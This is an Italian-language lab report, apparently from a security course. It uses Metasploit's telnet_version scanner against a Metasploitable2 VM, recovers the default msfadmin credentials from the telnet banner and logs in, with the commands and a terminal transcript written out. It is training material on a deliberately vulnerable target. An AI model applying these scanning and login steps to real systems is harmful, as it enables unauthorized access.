

Report Attacco Telnet

Per effettuare un attacco di questo tipo andiamo a sfruttare una vulnerabilità della macchina target (in questo caso Metasploitable2), ovvero proprio il servizio telnet.

L'esercizio ci richiede il cambio dell'indirizzo IP sia per quanto riguarda Kali sia per quanto riguarda Meta, per fare ciò ho modificato in entrambe le macchine i file **/etc/network/interfaces** e ho creato una nuova Rete con NAT da VirtualBox con gateway pari a 192.168.1.0/24 chiamata **NatNetwork2**.

Impostando entrambe le macchine su NatNetwork2 e controllando che Kali pingi Meta, possiamo proseguire con l'attacco e per effettuarlo utilizziamo Metasploit, quindi eseguendo il comando `msfconsole` ci colleghiamo a Metasploit. Tramite il comando **search telnet** andiamo a trovare il path dell'attacco richiesto e successivamente utilizzeremo il comando **use** seguito dal path, ovvero:

use auxiliary scanner/telnet/telnet_version

A seguire imposteremo l'IP target, tramite il comando **set RHOSTS 192.168.1.40**, e siamo pronti, digitiamo exploit!

[illegible]

In rosso ho evidenziato la risposta che ci serviva, ovvero username e password per collegarci alla macchina tramite telnet.

Andiamo a provare se funziona!

Usciamo da msfconsole con il comando exit e tramite il comando telnet seguito dall'**IP di meta**, ovvero:

telnet 192.168.1.40 e utilizziamo user e password che abbiamo precedentemente trovato. Come vediamo dalla foto sottostante, funziona!

```
(kali㉿kali)-[~]  
$ telnet 192.168.1.40  
Trying 192.168.1.40 ...  
Connected to 192.168.1.40.  
Escape character is '^]'.  
  
metasploitable  
Warning: Never expose this VM to an untrusted network!  
Contact: msfdev[at]metasploit.com  
Login with msfadmin/msfadmin to get started  
  
metasploitable login: msfadmin  
Password:  
Last login: Mon Mar  4 11:52:40 EST 2024 on tty1  
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.
```